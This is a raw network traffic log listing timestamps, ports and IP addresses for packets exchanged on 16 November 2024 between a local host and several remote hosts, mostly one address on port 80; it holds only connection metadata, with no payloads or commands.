Nov 16, 2024 13:01:40.637489080 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.637501001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.637594938 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.642705917 CET	443	49909	204.79.197.219	192.168.2.5
Nov 16, 2024 13:01:40.642937899 CET	49909	443	192.168.2.5	204.79.197.219
Nov 16, 2024 13:01:40.642956972 CET	443	49909	204.79.197.219	192.168.2.5
Nov 16, 2024 13:01:40.644042015 CET	443	49909	204.79.197.219	192.168.2.5
Nov 16, 2024 13:01:40.644169092 CET	49909	443	192.168.2.5	204.79.197.219
Nov 16, 2024 13:01:40.645159960 CET	49909	443	192.168.2.5	204.79.197.219
Nov 16, 2024 13:01:40.645236015 CET	443	49909	204.79.197.219	192.168.2.5
Nov 16, 2024 13:01:40.645365953 CET	49907	443	192.168.2.5	23.198.7.177
Nov 16, 2024 13:01:40.645402908 CET	443	49907	23.198.7.177	192.168.2.5
Nov 16, 2024 13:01:40.645453930 CET	49905	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.657430887 CET	443	49908	204.79.197.219	192.168.2.5
Nov 16, 2024 13:01:40.657931089 CET	49908	443	192.168.2.5	204.79.197.219
Nov 16, 2024 13:01:40.657949924 CET	443	49908	204.79.197.219	192.168.2.5
Nov 16, 2024 13:01:40.659384966 CET	443	49908	204.79.197.219	192.168.2.5
Nov 16, 2024 13:01:40.659457922 CET	49908	443	192.168.2.5	204.79.197.219
Nov 16, 2024 13:01:40.660305977 CET	49908	443	192.168.2.5	204.79.197.219
Nov 16, 2024 13:01:40.660375118 CET	443	49908	204.79.197.219	192.168.2.5
Nov 16, 2024 13:01:40.678286076 CET	443	49905	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.678365946 CET	443	49905	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.678436041 CET	49905	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.679455996 CET	49905	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.679475069 CET	443	49905	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.683418989 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.683442116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.683459044 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.683521986 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.683521986 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.711615086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.711639881 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.711657047 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.711672068 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.711688995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.711688995 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.711688995 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.711703062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.711720943 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.711734056 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.711747885 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.711747885 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.711790085 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.711790085 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.711952925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.711976051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712043047 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712075949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712090015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712106943 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712121964 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712163925 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712163925 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712515116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712537050 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712553024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712568045 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712584972 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712596893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712596893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712599039 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712615013 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712646961 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712647915 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712693930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712707996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712724924 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712738991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712754011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712764978 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712764978 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712769032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712789059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712799072 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712814093 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712829113 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712836981 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712837934 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712842941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712866068 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712868929 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712868929 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712881088 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712901115 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712901115 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712904930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712918997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712937117 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712939978 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712939978 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712951899 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712966919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.712973118 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712973118 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.712982893 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713007927 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713007927 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713011980 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713027000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713042974 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713048935 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713049889 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713057995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713073015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713078976 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713078976 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713087082 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713102102 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713107109 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713107109 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713126898 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713143110 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713150978 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713150978 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713157892 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713172913 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713187933 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713202000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713205099 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713205099 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713216066 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713239908 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713242054 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713242054 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713253975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713272095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713277102 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713277102 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713285923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713301897 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713311911 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713311911 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713315964 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713332891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713336945 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713336945 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713365078 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713370085 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713370085 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713390112 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713413000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713427067 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713443995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713448048 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713448048 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713486910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713486910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713506937 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713520050 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713532925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713541031 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713555098 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713567972 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713567972 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713570118 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713593006 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713608027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713608027 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713608027 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713624954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713644981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713650942 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713650942 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713656902 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713680029 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713682890 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713682890 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713701963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713713884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713713884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713715076 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713730097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713752985 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713754892 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713754892 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713767052 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713782072 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713788033 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713797092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713809967 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713809967 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713819981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713840961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713856936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713871002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713880062 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713880062 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713886023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713910103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713918924 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713920116 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713924885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713949919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713963985 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713973999 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713973999 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.713977098 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.713990927 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714004040 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714004040 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714005947 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714030981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714032888 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714032888 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714054108 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714061975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714061975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714067936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714082956 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714097023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714113951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714118958 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714119911 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714128017 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714143991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714153051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714153051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714158058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714174986 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714189053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714195967 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714195967 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714206934 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714221001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714240074 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714240074 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714241028 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714255095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714272022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714282990 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714282990 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714287996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714329004 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714329958 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714358091 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714371920 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714396000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714401007 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714409113 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714427948 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714451075 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714457035 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714457989 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714467049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714481115 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714489937 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714489937 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714497089 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714510918 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714520931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714520931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714559078 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714559078 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714561939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714576960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714623928 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714864969 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714879990 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714895964 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714905024 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714911938 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714929104 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714939117 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714939117 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714946032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714948893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714962959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.714965105 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714981079 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.714987993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715003014 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715003014 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715018034 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715044975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715059996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715065002 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715065002 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715074062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715089083 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715101957 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715102911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715101957 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715118885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715121031 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715133905 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715136051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715152025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715166092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715174913 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715174913 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715174913 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715189934 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715204954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715209961 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715219975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715236902 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715260983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715265036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715265036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715275049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715291023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715305090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715322018 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715322018 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715332031 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715346098 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715368032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715379953 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715383053 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715383053 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715401888 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715413094 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715415955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715441942 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715456009 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715459108 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715459108 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715471029 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715486050 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715507984 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715507984 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715508938 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715523005 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715538025 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715538979 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715553045 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715568066 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715570927 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715572119 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715593100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715610027 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715610981 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715643883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715656042 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715671062 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715686083 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715693951 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715693951 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.715701103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.715717077 CET	80	49802	185.215.113.206	192.168.2.5
